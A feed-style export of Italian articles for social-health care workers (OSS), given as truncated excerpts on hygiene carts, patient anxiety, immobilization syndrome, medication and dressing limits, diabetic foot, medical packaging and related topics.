benessere di tutti, dai pazienti agli operatori. In questo articolo esploreremo come utilizzare al meglio il carrello per l'igiene e come smaltire i rifiuti durante l'igiene in modo efficace, con consigli pratici e un focus sulla sicurezza. L'importanza dell'organizzare il carrello dell'igiene L'organizzazione del carrello dell'igiene è un aspetto fondamentale nel lavoro dell'Operatore Socio Sanitario (OSS), poiché influisce direttamente sull'efficienza, sulla sicurezza e sulla qualità dell'assistenza. Vediamo perché ciascuno di questi aspetti è essenziale. Organizzazione Un carrello dell'igiene ben organizzato consente di svolgere le procedure in modo rapido ed efficace. Un'organizzazione chiara permette di: Ridurre i tempi di preparazione: avendo tutto il necessario a portata di mano, si evita di dover interrompere l'assistenza per recuperare materiali mancanti; Evitare sprechi: sapere esattamente dove si trovano i materiali riduce il rischio di inutilizzo o deterioramento; Garantire continuità nell'assistenza: se tutti gli OSS seguono la stessa organizzazione, ogni operatore saprà dove trovare gli strumenti necessari. Sicurezza La sicurezza riguarda sia l'operatore sia il paziente. Un carrello dell'igiene ben organizzato aiuta a: Evitare contaminazioni: i materiali puliti e sporchi devono essere separati per prevenire infezioni. Ad esempio, guanti e prodotti monouso devono essere distinti dagli strumenti riutilizzabili; Ridurre il rischio di infortuni: una corretta disposizione previene cadute accidentali di flaconi o strumenti e riduce il rischio di contatto con sostanze potenzialmente irritanti; Garantire il rispetto delle normative igienico-sanitarie: una disposizione adeguata facilita l'igiene del carrello stesso e l'uso corretto dei dispositivi di protezione individuale (DPI). Conoscenza dei materiali L'OSS deve avere una buona conoscenza dei materiali presenti nel carrello per poterli utilizzare correttamente. Questo implica: Sapere a cosa serve ogni prodotto: detergenti, disinfettanti, creme barriera, strumenti per l'igiene orale, guanti, pad assorbenti e altri materiali devono essere usati nel modo giusto; Conoscere le modalità di utilizzo: alcuni prodotti richiedono tempi di posa o modalità di applicazione specifiche per essere efficaci; Saper riconoscere quando un materiale non è più idoneo: alcuni strumenti o prodotti possono deteriorarsi o scadere, quindi è importante controllare regolarmente le scadenze e lo stato di conservazione. Disposizione dei materiali Disporre i materiali nel carrello in modo logico e funzionale migliora l'efficienza e la sicurezza. Alcuni principi da seguire sono: Separare il materiale pulito da quello sporco: bacinelle, garze, asciugamani e prodotti monouso devono essere lontani da strumenti contaminati. Posizionare i materiali in base alla frequenza di utilizzo: gli oggetti usati più spesso devono essere facilmente accessibili per evitare movimenti inutili. Mantenere un ordine costante: tutti gli operatori devono rispettare la stessa disposizione per garantire che chiunque utilizzi il carrello sappia dove trovare il necessario senza perdere tempo. Cosa contiene un carrello per l'igiene Il carrello per l'igiene è uno strumento fondamentale per l'Operatore Socio Sanitario (OSS), in quanto contiene tutto il necessario per... --- > Scopri i migliori argomenti per la tesina OSS: spunti svolti su anatomia, psicologia, apparati e relazione d'aiuto. - Published: 2025-07-31 - Modified: 2025-12-13 - URL: https://ossinreparto.it/idee-tesina-oss-argomenti-migliori/ - Categorie: Diventare OSS - Tag: Tesina OSS Scopri i migliori argomenti per la tesina OSS: spunti svolti su anatomia, psicologia, apparati e relazione d'aiuto. Ogni studente OSS, giunto alla fine del suo percorso formativo, si trova di fronte alla sfida della tesina. Una tappa fondamentale non solo per dimostrare le conoscenze acquisite, ma anche per raccontare un'esperienza, un interesse o un tema che ha colpito nel profondo durante il tirocinio o le lezioni. Ma quali sono gli argomenti top per le tesine OSS? In questo articolo esploriamo le tesine più svolte, organizzate per area tematica, con idee, spunti e consigli utili per creare un lavoro originale, coerente e ben collegato tra le varie discipline. Una guida pratica per chi cerca ispirazione per la propria tesina OSS e vuole orientarsi tra i temi più gettonati. Anatomia: conoscere il corpo per assistere meglio Quando si parla di assistenza alla persona, conoscere il corpo umano non è solo un requisito scolastico, ma una vera e propria bussola per chi opera nel settore sanitario. Per un OSS (Operatore Socio Sanitario), comprendere l'anatomia significa saper leggere i segnali del corpo, capire dove e come intervenire, riconoscere i cambiamenti che possono indicare un disagio o un peggioramento dello stato di salute. Proprio per questo, molte tesine OSS scelgono di partire dall'anatomia, ponendola come base di ogni intervento efficace e responsabile. Il cuore della cura: apparati e sistemi Sistema cardiovascolareIl sistema cardiovascolare è responsabile del trasporto di ossigeno, nutrienti e ormoni in tutto il corpo, nonché della rimozione delle sostanze di scarto. In una tesina OSS, questo argomento permette di parlare del funzionamento del cuore, della circolazione sanguigna e delle patologie più comuni come ipertensione, infarto o scompenso cardiaco. Si presta molto bene ad approfondimenti sulla prevenzione, sul riconoscimento dei sintomi d'allarme e sugli interventi di primo soccorso, come la posizione antishock e la gestione dell'ansia. Collegamento: Integra una parte psicologica parlando dell'ansia e della paura nei pazienti cardiopatici, che spesso temono un aggravamento della loro condizione. Sistema respiratorioFondamentale per la respirazione, questo sistema è composto da naso, trachea, bronchi e polmoni. Una tesina che tratta questo argomento può focalizzarsi su patologie croniche come BPCO, asma, tracheostomia o insufficienza respiratoria, illustrando il ruolo dell'OSS nell'assistenza quotidiana, nell'osservazione dei parametri vitali (saturazione) e nella gestione delle secrezioni. Collegamento: Approfondisci gli aspetti legati all'igiene (aspirazione, pulizia dei dispositivi) e all'organizzazione degli ambienti per evitare infezioni respiratorie. Sistema nervosoÈ il sistema che regola tutte le funzioni del corpo: dal movimento al pensiero, dalle emozioni ai riflessi. L'argomento è molto utile per parlare di ictus, Alzheimer, Parkinson, epilessia, illustrando come queste condizioni influenzano la quotidianità degli assistiti. Si presta a riflessioni sull'approccio comunicativo e relazionale, particolarmente delicato con pazienti neurologici. Collegamento: Inserisci una parte psicologica sul comportamento e le reazioni emotive dei pazienti neurologici, spesso disorientati o confusi. Apparato muscolo-scheletricoQuesto apparato fornisce supporto, protezione e movimento al corpo. Puoi affrontare temi pratici come fratture, artrosi, sarcopenia e prevenzione delle piaghe da decubito. Utile anche per trattare la mobilizzazione dell'assistito, uno dei compiti centrali dell'OSS, e l'uso corretto di ausili come sollevatori, carrozzine, deambulatori. Collegamento: Integra concetti di sicurezza sul lavoro, come la movimentazione corretta del... --- > Scopri cos'è l'ansia nei pazienti, come si manifesta e il ruolo dell'OSS nel riconoscerla, ridurla e migliorare il benessere emotivo assistenziale. - Published: 2025-07-31 - Modified: 2025-07-31 - URL: https://ossinreparto.it/ansia-pazienti-operatore-socio-sanitario/ - Categorie: Psicologia - Tag: Ansia Scopri cos'è l'ansia nei pazienti, come si manifesta e il ruolo dell'OSS nel riconoscerla, ridurla e migliorare il benessere emotivo assistenziale. L'ansia è una delle reazioni emotive più comuni nei pazienti assistiti, sia in ospedale che in struttura. A volte evidente, altre volte nascosta dietro comportamenti insospettabili, l'ansia può influire profondamente sulla salute e sulla qualità della vita. L'OSS (Operatore Socio-Sanitario) gioca un ruolo prezioso: riconoscere e gestire l'ansia è parte integrante dell'assistenza globale al paziente. In questo articolo esploreremo cos'è l'ansia, le sue diverse forme e le strategie che l'OSS può adottare per offrire sostegno emotivo efficace. Cos'è l'ansia: definizione e natura L'ansia è uno stato emotivo di allerta, caratterizzato da una sensazione di paura o preoccupazione, spesso accompagnata da manifestazioni fisiche come tachicardia, sudorazione e tensione muscolare. È una risposta naturale a situazioni percepite come minacciose, ma quando diventa eccessiva o cronica, può compromettere il benessere e il recupero del paziente. Tipologie di ansia: conoscerle per riconoscerle meglio L'ansia nei pazienti, soprattutto in contesti come RSA, ospedali o strutture socio-sanitarie, può assumere caratteristiche particolari, legate alla malattia, alla perdita di autonomia, al dolore o al contesto stesso. Di seguito trovi uno schema dei principali tipi di ansia osservabili nei pazienti in questi ambienti: Tipo di ansiaContesto tipicoCaratteristiche / Osservazioni OSSAnsia da ospedalizzazioneOspedali, RSA, lungodegenzeDisorientamento, paura dell'ambiente, insonnia, irritabilitàAnsia anticipatoriaPre-operatorio, attese per esami o diagnosiPaura dell'intervento o dei risultati, agitazione, richiesta continua di rassicurazioneAnsia da separazione (nell'anziano)Ingresso in RSA, allontanamento da casa o familiariPianto, senso di abbandono, regressione comportamentaleAnsia reattiva alla diagnosiIn pazienti oncologici, cronici o con patologie neurodegenerativePaura del futuro, perdita di speranza, ritiro socialeAnsia post-traumatica (simile PTSD)Dopo eventi medici critici (rianimazione, cadute gravi, ictus)Flashback, insonnia, allerta costante, ansia anche in situazioni "sicure"Ansia sociale/relazionaleRSA o strutture con convivenza forzataPaura del giudizio altrui, evitamento di attività comuniAnsia da doloreIn presenza di dolore cronico o mal controllatoIrritabilità, agitazione, difficoltà a dormire, richieste frequenti di aiutoAnsia cognitiva (demenze iniziali)RSA, centri AlzheimerConfusione, ripetizione continua di domande, apprensione senza motivo apparente Conoscere la tipologia aiuta a interpretare meglio i comportamenti del paziente e a scegliere l'approccio più adatto. Perché l'ansia peggiora il decorso clinico Quando l'ansia non viene riconosciuta o gestita, può: Compromettere la risposta ai trattamenti; Rallentare la guarigione; Aumentare la percezione del dolore; Peggiorare il tono dell'umore generale. Il ruolo dell'OSS nella gestione dell'ansia La presenza costante e attenta dell'OSS aiuta il paziente a sentirsi meno solo. A volte, anche solo essere disponibili ad ascoltare senza giudicare è il primo passo per ridurre l'ansia. In un contesto come quello di una RSA, un ospedale o altre strutture socio-sanitarie, l'ansia è uno degli ostacoli principali al recupero e al miglioramento della qualità della vita. L'ansia può manifestarsi in vari modi e per molteplici ragioni, eppure spesso è proprio l'OSS a percepire per primo i segnali di disagio, avendo una vicinanza costante e diretta con il paziente. La gestione dell'ansia da parte dell'OSS si fonda su alcuni principi chiave, tra cui: ascolto attivo e senza giudizio. Quando un paziente esprime la propria preoccupazione o paura, l'OSS deve saperlo accogliere, offrendo uno spazio sicuro per l'espressione dei sentimenti. L'ascolto non deve essere superficiale o frettoloso;... --- > Scopri cosa è la sindrome da immobilizzazione (o ipocinetica), chi ne è a rischio, sintomi e strategie di prevenzione e riabilitazione. - Published: 2025-07-31 - Modified: 2025-07-31 - URL: https://ossinreparto.it/sindrome-da-immobilizzazione-cause-conseguenze/ - Categorie: Anatomia Scopri cosa è la sindrome da immobilizzazione (o ipocinetica), chi ne è a rischio, sintomi e strategie di prevenzione e riabilitazione. La mobilità è un elemento essenziale per il benessere fisico e mentale. Tuttavia, condizioni mediche, infortuni o l'età avanzata possono costringere una persona a un periodo prolungato di immobilità. La sindrome da immobilizzazione rappresenta una delle principali complicanze derivanti dalla ridotta attività fisica, con conseguenze significative su muscoli, ossa, sistema cardiovascolare e stato psicologico. In questo articolo esploreremo le caratteristiche della sindrome, le sue cause e chi ne è più a rischio. Cos'è la sindrome da immobilizzazione? La sindrome ipocinetica o sindrome da immobilizzazione è un insieme di alterazioni fisiologiche, metaboliche e psicologiche che insorgono a seguito di una prolungata riduzione o assenza di movimento. Questa condizione si verifica principalmente in pazienti allettati, anziani fragili, persone con patologie neurologiche, ortopediche o in stato post-operatorio. Questa condizione colpisce diversi sistemi corporei, coinvolgendo in particolare il sistema muscolo-scheletrico, cardiovascolare, respiratorio e neurologico. La riduzione del movimento porta a una perdita progressiva della massa muscolare, alla diminuzione della densità ossea, a problemi circolatori come l'ipotensione ortostatica e alla riduzione della capacità polmonare. Inoltre, l'immobilità prolungata può influenzare negativamente lo stato cognitivo ed emotivo del paziente, aumentando il rischio di depressione e isolamento sociale con un impatto negativo sulla qualità della vita del paziente. Caratteristiche ed eziologia della sindrome La sindrome da immobilizzazione si manifesta attraverso una serie di cambiamenti fisiologici e patologici che colpiscono diversi sistemi corporei. La sua eziologia è multifattoriale e coinvolge cause mediche, ambientali e sociali, contribuendo a un progressivo deterioramento dello stato di salute del paziente. Analizziamo in dettaglio i principali segni, sintomi e fattori scatenanti di questa condizione. Segni e sintomi principali Debolezza muscolare: L'immobilizzazione prolungata porta a un'atrofia muscolare, ossia la perdita di massa e forza muscolare. I muscoli, non utilizzati per il movimento, vanno incontro a una progressiva disfunzione. Ciò comporta debolezza, difficoltà nel mantenere la posizione eretta e una generale perdita di forza fisica. I muscoli più colpiti sono quelli delle gambe e della schiena, ma la debolezza può estendersi anche agli arti superiori; Rigidità articolare e dolore: Il movimento ridotto o assente può causare rigidità nelle articolazioni, specialmente nelle articolazioni maggiormente mobili come le anche, le ginocchia e le spalle. Ciò può comportare un aumento del dolore, difficoltà nei movimenti, a volte anche crampi muscolari a causa della posizione immobile mantenuta per lunghi periodi; Perdita di massa ossea: L'immobilità prolungata è uno dei principali fattori che favoriscono la perdita di densità ossea, un processo noto come osteoporosi secondaria da immobilizzazione. L'osso, privato della stimolazione meccanica che avviene durante il movimento, perde minerali e diventa più fragile. Questo aumenta il rischio di fratture, anche per traumi minori, e di alterazioni posturali come la scoliosi o la lordosi; Disturbi respiratori: L'immobilizzazione può provocare problemi respiratori, in particolare nei pazienti allettati che non riescono a muoversi liberamente. La posizione supina prolungata favorisce la stasi dei liquidi nei polmoni, aumentando il rischio di polmoniti da aspirazione, complicanze respiratorie e difficoltà nell'eliminazione delle secrezioni. La respirazione può diventare superficiale, con conseguente riduzione della ventilazione polmonare e abbassamento dei livelli... --- > L'OSS può somministrare farmaci? Scopri cosa prevede la normativa, i limiti operativi e le responsabilità legali in ambito sanitario. - Published: 2025-07-31 - Modified: 2025-07-31 - URL: https://ossinreparto.it/somministrazione-farmaci-operatore-socio-sanitario/ - Categorie: Igiene e Sicurezza - Tag: Guide OSS L'OSS può somministrare farmaci? Scopri cosa prevede la normativa, i limiti operativi e le responsabilità legali in ambito sanitario. Negli ultimi anni si è acceso un dibattito sulla figura dell'Operatore Socio Sanitario (OSS) e sul suo ruolo nella somministrazione dei farmaci. Molti si chiedono: l'OSS può somministrare farmaci ai pazienti? E se sì, quali? In un contesto sanitario sempre più sotto pressione, con carenza di personale infermieristico, la questione è tutt'altro che teorica: in diverse cliniche e RSA, gli OSS si ritrovano a coprire ruoli che esulano dalle loro competenze. Alcuni casi hanno persino portato a condanne penali. In questo articolo cercheremo di fare chiarezza, partendo dalla normativa vigente e arrivando ai casi reali che hanno segnato un confine importante tra ciò che è lecito e ciò che non lo è. Cosa dice la legge: compiti e limiti dell'OSS Quando si parla di OSS e farmaci, il confine tra ciò che è consentito e ciò che è vietato può sembrare sottile, ma è in realtà ben definito dalla normativa. Tuttavia, nella pratica quotidiana, questa linea viene spesso oltrepassata, talvolta inconsapevolmente. Per capire esattamente cosa può fare un OSS con i farmaci, bisogna partire da ciò che dice la legge: il ruolo dell'OSS non è quello di un sanitario autonomo, ma di un operatore che agisce su indicazione e supervisione dell'infermiere. Vediamo dunque, punto per punto, quali sono i compiti e i limiti legali dell'OSS in materia di somministrazione dei farmaci. La figura dell'OSS secondo la normativa italiana L'Operatore Socio Sanitario è una figura di supporto, fondamentale nell'assistenza quotidiana ai pazienti. Secondo l'Accordo Stato-Regioni del 2001, l'OSS non ha autonomia decisionale e opera sempre in collaborazione con il personale sanitario. Il suo ruolo è definito come di "supporto all'infermiere", non sostitutivo. Il concetto di "somministrazione" Per capire cosa può (e soprattutto cosa non può) fare un OSS in merito ai farmaci, è fondamentale chiarire il significato della parola "somministrazione". Questo termine, spesso usato in modo generico nel linguaggio quotidiano, in ambito sanitario ha un valore tecnico e giuridico preciso. Somministrare un farmaco non significa semplicemente consegnarlo al paziente. Vuol dire assumersi la responsabilità dell'atto terapeutico, che comprende diverse fasi: il riconoscimento del farmaco; la verifica del dosaggio; la valutazione dello stato del paziente prima dell'assunzione; l'osservazione degli effetti dopo la somministrazione. Per la legge italiana, tutto questo è considerato atto sanitario. E come tale, può essere compiuto solo da un professionista sanitario abilitato, come un infermiere o un medico. L'OSS, pur essendo parte attiva nel processo assistenziale, non ha competenze cliniche e non può prendere decisioni in autonomia riguardo ai farmaci. In alcuni casi si fa confusione tra "collaborazione alla terapia" e "somministrazione vera e propria". Ad esempio, consegnare al paziente una compressa già predisposta dall'infermiere, verificando che venga assunta, è un'azione che può essere compresa nelle attività dell'OSS - ma non equivale a una somministrazione autonoma. Cambiare il dosaggio, scegliere il momento dell'assunzione o somministrare un farmaco al bisogno senza indicazione sanitaria scritta, invece, è vietato. Comprendere la differenza tra supporto e atto sanitario è essenziale non solo per evitare sanzioni, ma soprattutto per tutelare la sicurezza del paziente... --- > l piede diabetico è una complicanza grave: scopri cause, sintomi, terapie e il ruolo dell'OSS nella prevenzione e nella cura quotidiana. - Published: 2025-07-31 - Modified: 2025-07-31 - URL: https://ossinreparto.it/piede-diabetico/ - Categorie: Assistenza alla Persona - Tag: Diabete, Paziente Diabetico l piede diabetico è una complicanza grave: scopri cause, sintomi, terapie e il ruolo dell'OSS nella prevenzione e nella cura quotidiana. Il piede diabetico rappresenta una delle complicanze più gravi e invalidanti del diabete mellito. Non si tratta solo di un problema cutaneo o di una semplice infezione, ma di una vera e propria emergenza clinica che può condurre a infezioni gravi, ospedalizzazioni ripetute e, nei casi peggiori, all'amputazione dell'arto. Anche l'Operatore Socio Sanitario gioca un ruolo fondamentale, perché è spesso il primo a intercettare i segnali d'allarme, a dialogare con il paziente e a favorire l'aderenza al percorso di cura. In questo approfondimento analizzeremo i principi fondamentali per la gestione del piede diabetico: dalla prevenzione alla diagnosi, fino alle più moderne opzioni terapeutiche. Piede diabetico: studi recenti Il piede diabetico non è solo una complicanza clinica, ma una vera e propria emergenza sanitaria che incide profondamente sulla qualità della vita del paziente e sui costi per il sistema sanitario. Comprendere la gravità di questo fenomeno è essenziale per ogni operatore socio-sanitario, perché la prevenzione e la vigilanza quotidiana fanno la differenza tra guarigione e complicazioni irreversibili. Gli studi dimostrano che: 15-25% dei pazienti diabetici sviluppa un'ulcera al piede almeno una volta nella vita:Questo significa che 1 persona su 4 tra i pazienti diabetici sarà colpita da questa complicanza. Per l'OSS, è importante sapere che il rischio è molto alto e può riguardare anche pazienti apparentemente stabili; Ogni anno, tra il 2% e il 6% dei diabetici sviluppa una nuova ulcera:Il piede diabetico non è un evento raro, ma qualcosa che accade ogni giorno, in ogni reparto o RSA. Per questo l'OSS deve imparare a osservare i piedi dei pazienti, segnalare ogni cambiamento e partecipare attivamente alla prevenzione; Il 40% dei pazienti che guariscono da un'ulcera ha una recidiva entro un anno:Guarire non basta: il rischio di ricadute è elevatissimo. Per ridurre le recidive, è fondamentale educare il paziente alla cura quotidiana del piede e monitorare continuamente la situazione. Il rischio di amputazione entro 5 anni può arrivare al 20%:Un'ulcera non curata o trascurata può portare, nel tempo, alla perdita di un arto. L'amputazione ha un impatto devastante non solo fisico, ma anche psicologico e sociale. L'OSS ha il compito di promuovere la prevenzione con gesti semplici ma fondamentali: igiene, ispezione, osservazione e segnalazione; La mortalità a 5 anni dopo un'ulcera o un'amputazione supera il 50%:Questo dato è allarmante: la sopravvivenza dopo un'ulcera o un'amputazione è paragonabile a quella dei tumori più aggressivi. Ciò evidenzia che il piede diabetico non è solo un problema locale, ma una condizione sistemica che può mettere in pericolo la vita; Il 20% delle spese sanitarie per i pazienti diabetici riguarda il piede diabetico:Questo significa che una parte enorme delle risorse è usata per curare ciò che potrebbe essere evitato. Prevenire è non solo più sicuro per il paziente, ma anche più sostenibile per il sistema sanitario. E l'OSS può essere un pilastro fondamentale di questa prevenzione. Cause principali del piede diabetico Il piede diabetico è una delle complicanze più temute del diabete mellito, in particolare quando la malattia non è adeguatamente controllata nel tempo. Le... --- > Scopri quali medicazioni può eseguire l'OSS secondo normativa: limiti, supporto all'infermiere e attività consentite su ferite semplici. - Published: 2025-07-31 - Modified: 2025-07-31 - URL: https://ossinreparto.it/competenze-medicazioni-operatore-socio-sanitario/ - Categorie: Igiene e Sicurezza Scopri quali medicazioni può eseguire l'OSS secondo normativa: limiti, supporto all'infermiere e attività consentite su ferite semplici. Nel panorama dell'assistenza sanitaria, ogni figura professionale ha un ruolo chiave. Tra queste, l'Operatore Socio Sanitario (OSS) si distingue per la sua vicinanza quotidiana al paziente e per la cura concreta che riesce a garantire. Uno degli aspetti più delicati del suo lavoro riguarda le medicazioni, un ambito che solleva spesso domande: cosa può fare davvero un OSS? Quali medicazioni rientrano nelle sue competenze? Questo articolo intende chiarire questi aspetti, offrendo informazioni utili e precise, adatte anche ai non addetti ai lavori. Cosa sono le medicazioni? Prima di entrare nel dettaglio delle competenze dell'OSS nell'ambito delle medicazioni, è importante comprendere cosa si intende per medicazione e quale sia la sua funzione. Le medicazioni sono interventi sanitari fondamentali che hanno l'obiettivo di proteggere, favorire la guarigione e prevenire infezioni in una ferita o in una lesione della pelle o dei tessuti sottostanti. In pratica, medicare significa trattare una ferita attraverso la pulizia, l'applicazione di materiali sterili (come garze, bende o medicazioni avanzate) e, quando necessario, l'uso di prodotti specifici (come disinfettanti o creme cicatrizzanti). Le medicazioni si fanno per diversi motivi: Proteggere la ferita dagli agenti esterni come polvere, batteri e traumi; Favorire il processo di guarigione, mantenendo l'ambiente umido ideale per la rigenerazione dei tessuti; Ridurre il rischio di infezioni, che possono complicare e rallentare il recupero; Controllare il sanguinamento e assorbire eventuali essudati (secrezioni della ferita); Ridurre il dolore e migliorare il comfort del paziente. Esistono diversi tipi di medicazioni, da quelle semplici - che consistono nel coprire piccole ferite - a quelle complesse, che richiedono tecniche particolari e materiali avanzati per la gestione di ulcere, piaghe da decubito o ferite chirurgiche. La scelta della medicazione più adatta dipende sempre dalle condizioni della ferita, dal grado di infezione e dallo stato generale del paziente, ma questo lo vedremo più avanti. Medicazioni: cosa può fare l'operatore socio sanitario secondo la normativa La normativa italiana (Accordo Stato-Regioni del 2001) stabilisce con chiarezza che l'OSS può collaborare nelle attività sanitarie, ma non può sostituirsi all'infermiere in manovre o procedure complesse. Tuttavia, l'OSS può intervenire nelle medicazioni di semplice gestione, sempre sotto la supervisione o su indicazione del personale sanitario. Nel corso dell'articolo vedremo nel dettaglio quali tipi di medicazioni rientrano nelle sue competenze Tipologie di medicazioni Quando si parla di medicazioni, è importante distinguere tra diversi livelli di complessità. L'OSS, pur non essendo una figura sanitaria abilitata a gestire interventi avanzati, ha un ruolo ben definito nella cura delle ferite e nella prevenzione di complicazioni. Le sue competenze si collocano in un contesto operativo dove igiene, osservazione e collaborazione sono elementi fondamentali. In questa sezione esploreremo in dettaglio quali sono le attività che un OSS può svolgere in ambito di medicazioni, sempre in sinergia con l'équipe infermieristica. Le principali tipologie di medicazioni comprendono: Medicazioni semplici: piccole abrasioni, escoriazioni, tagli superficiali, ferite non infette e senza essudato; Medicazioni avanzate: utilizzano materiali tecnologicamente evoluti (idrocolloidi, alginati, schiume poliuretaniche) e sono di competenza infermieristica o medica; Medicazioni umide: per mantenere l'ambiente della ferita idratato e... --- > Scopri come logistica e imballaggi proteggono cure e strumenti sanitari con la tecnologia VCI anticorrosione. - Published: 2025-07-22 - Modified: 2025-07-22 - URL: https://ossinreparto.it/imballaggi-sanitari-vci-logistica-sicura/ - Categorie: Sicurezza Sanitaria Scopri come logistica e imballaggi proteggono cure e strumenti sanitari con la tecnologia VCI anticorrosione. Nel mondo della sanità, ogni dettaglio può fare la differenza tra una cura efficace e un rischio per il paziente. Spesso, l'attenzione è concentrata sulle figure cliniche come medici e infermieri, ma esiste un altro livello altrettanto determinante per la riuscita delle cure: la logistica sanitaria. Questo sistema, apparentemente invisibile, è responsabile della gestione, conservazione e trasporto di tutto ciò che serve all'interno di strutture sanitarie, ospedaliere e laboratori: dai farmaci alle attrezzature diagnostiche, dai dispositivi chirurgici alle sacche di sangue. Un elemento fondamentale di questa complessa macchina organizzativa è rappresentato dagli imballaggi medicali. Non si tratta solo di contenitori, ma di sistemi protettivi ad alte prestazioni. Devono garantire la sterilità, prevenire danni da urti, vibrazioni, contaminazioni biologiche o agenti atmosferici come umidità e temperature estreme. Oggi, grazie a soluzioni tecnologiche avanzate come l'anticorrosivo VCI (Volatile Corrosion Inhibitor), è possibile proteggere anche i componenti metallici più sensibili in modo sicuro, pratico ed ecologico. In questo articolo esploreremo l'importanza degli imballaggi nel settore sanitario, le tecnologie più innovative utilizzate, i rischi di una gestione inefficiente e il ruolo attivo che ogni operatore sanitario può svolgere nel garantire l'integrità dei materiali. Inoltre, vedremo come affidarsi a un fornitore di imballaggi industriali qualificato possa fare la differenza in termini di sicurezza, efficienza e sostenibilità. Logistica sanitaria: il cuore nascosto della cura Nel sistema sanitario, la logistica è molto più di una funzione di supporto: è la spina dorsale invisibile che consente al personale clinico di svolgere il proprio lavoro senza intoppi. La logistica sanitaria include tutte le attività connesse alla pianificazione, gestione, trasporto e distribuzione di farmaci, dispositivi medici, attrezzature e materiali di consumo. Un ospedale efficiente riceve quotidianamente decine, se non centinaia, di forniture: sacche di sangue, pompe infusionali, apparecchiature diagnostiche, kit chirurgici, mascherine, farmaci refrigerati. Ogni prodotto ha requisiti specifici in termini di conservazione, tracciabilità e integrità. Un piccolo errore logistico può compromettere l'intero processo di cura, con conseguenze potenzialmente gravi per i pazienti. Un esempio pratico? Pensiamo a un defibrillatore che arriva con la batteria scarica o un bisturi chirurgico arrugginito. In entrambi i casi, la logistica ha fallito. Ecco perché è essenziale adottare soluzioni di imballaggio affidabili e tecnologicamente avanzate, che possano prevenire danni, contaminazioni e alterazioni durante tutto il ciclo di vita del materiale sanitario. Scegliere un fornitore di imballaggi industriali competente e con esperienza nel settore medicale è il primo passo per garantire una catena logistica solida, sicura e conforme alle normative. Il ruolo degli imballaggi nella protezione dei materiali sanitari Gli imballaggi medicali non sono semplici confezioni: sono dispositivi progettati per proteggere strumenti e materiali salvavita durante tutte le fasi di trasporto, stoccaggio e utilizzo. Devono resistere a una vasta gamma di stress: urti, compressioni, sbalzi termici, vibrazioni, contaminazioni batteriche e umidità. Per questo motivo, vengono realizzati con materiali multistrato ad alte prestazioni, spesso dotati di barriere protettive attive, come sistemi di assorbimento dell'umidità o indicatori di temperatura. In molti casi, gli imballaggi sono progettati per garantire la sterilità del contenuto fino al momento dell'apertura, attraverso... --- > L'Operatore Socio Sanitario che lavora a bordo delle navi petrolifere o da crociera svolge un ruolo fondamentale nel garantire l’assistenza sanitaria dell’equipaggio. - Published: 2025-06-15 - Modified: 2025-06-15 - URL: https://ossinreparto.it/oss-navi-petrolifere-e-crociera/ - Categorie: Lavoro - Tag: Lavorare come OSS L'Operatore Socio Sanitario che lavora a bordo delle navi petrolifere o da crociera svolge un ruolo fondamentale nel garantire l’assistenza sanitaria e il benessere dell’equipaggio. Nel vasto mondo delle professioni marittime, una figura si distingue per la sua combinazione di competenze sanitarie e capacità di adattamento a contesti estremi: l'Operatore Socio Sanitario (OSS) che lavora a bordo delle navi petrolifere. Questo ruolo, spesso poco conosciuto al di fuori del settore, è fondamentale per garantire il benessere del personale di bordo, spesso lontano da qualsiasi struttura medica terrestre per lunghi periodi. Chi intraprende questa carriera si trova a vivere un'esperienza professionale intensa e altamente formativa, dove l'assistenza alla persona incontra le esigenze di sicurezza e prontezza richieste da un ambiente potenzialmente pericoloso come quello marittimo e petrolifero. Vediamo nel dettaglio in cosa consiste il lavoro dell'OSS sulle navi petrolifere, quali corsi sono richiesti, lo stipendio medio e dove è possibile lavorare. Cosa fa un OSS su una nave petrolifera? Il compito principale dell'OSS a bordo è assistere il personale nella gestione della salute quotidiana e nel primo intervento in caso di emergenze. A differenza dell'ambito ospedaliero o residenziale, qui l'OSS opera in sinergia con il medico di bordo (se presente) o con un responsabile sanitario, garantendo supporto pratico e psicologico ai marittimi. Le mansioni spaziano dalla somministrazione di farmaci sotto supervisione, alla gestione dell'igiene personale dei membri dell'equipaggio, fino al monitoraggio di eventuali condizioni croniche. In alcuni casi, può essere chiamato a gestire piccole medicazioni o a fornire assistenza in caso di malesseri improvvisi, traendo supporto dalle attrezzature mediche presenti nell'infermeria di bordo. Il contesto petrolifero richiede anche una conoscenza base delle normative di sicurezza marittima e dei protocolli di emergenza. Quali corsi servono per diventare OSS marittimo? Per lavorare come OSS sulle navi petrolifere, non basta il classico corso OSS di 1000 ore riconosciuto a livello regionale. Sono infatti richieste ulteriori specializzazioni e certificazioni marittime. Di seguito l'iter formativo tipico: Attestato OSS: corso riconosciuto a livello nazionale, che fornisce le competenze di base per l'assistenza socio-sanitaria; Basic Safety Training (STCW): obbligatorio per lavorare a bordo di qualsiasi nave. Include antincendio, sopravvivenza in mare, pronto soccorso elementare e sicurezza personale; Corso Medical Care / Medical First Aid: formazione sanitaria specifica per il personale non medico, richiesta su molte navi; Visita medica per l'idoneità alla navigazione: certificato da medico marittimo autorizzato. In alcuni casi, è richiesto anche il libretto di navigazione (o libretto di marittimo), documento rilasciato dalla Capitaneria di Porto. Stipendio e prospettive economiche Il lavoro dell'OSS marittimo, specialmente su navi petrolifere, è ben retribuito rispetto alla media nazionale degli OSS. Gli stipendi variano in base all'esperienza, al tipo di nave e all'armatore, ma in generale si collocano in una fascia tra i 2. 500 e i 3. 500 euro netti al mese. Alcuni contratti offshore prevedono anche benefit aggiuntivi come indennità di rischio, vitto, alloggio e copertura assicurativa estesa. Le rotazioni tipiche possono durare da 30 a 90 giorni di imbarco, seguiti da altrettanti giorni di riposo a terra, il che rende il lavoro intenso ma intervallato da lunghi periodi di recupero. Dove trovare lavoro come OSS sulle navi? Gli OSS possono trovare impiego tramite... --- > Lo sfigmomanometro è uno strumento indispensabile per misurare la pressione arteriosa e rappresenta una risorsa fondamentale anche per l'oss. - Published: 2025-06-11 - Modified: 2025-06-11 - URL: https://ossinreparto.it/sfigmomanometro-come-si-usa-e-cos-e/ - Categorie: Assistenza alla Persona - Tag: Guide OSS Lo sfigmomanometro è uno strumento indispensabile per misurare la pressione arteriosa e rappresenta una risorsa fondamentale anche per l'oss. Hai mai visto un operatore sanitario avvolgere una fascia attorno al braccio di un paziente e poi controllare dei numeri su un piccolo apparecchio? Quello strumento si chiama sfigmomanometro, ed è fondamentale per misurare la pressione arteriosa. Che si tratti di un ospedale, una RSA o un'assistenza domiciliare, lo sfigmomanometro è uno degli strumenti più utilizzati nella pratica quotidiana. Conoscere il suo funzionamento è importante non solo per i medici e gli infermieri, ma anche per figure come l'OSS 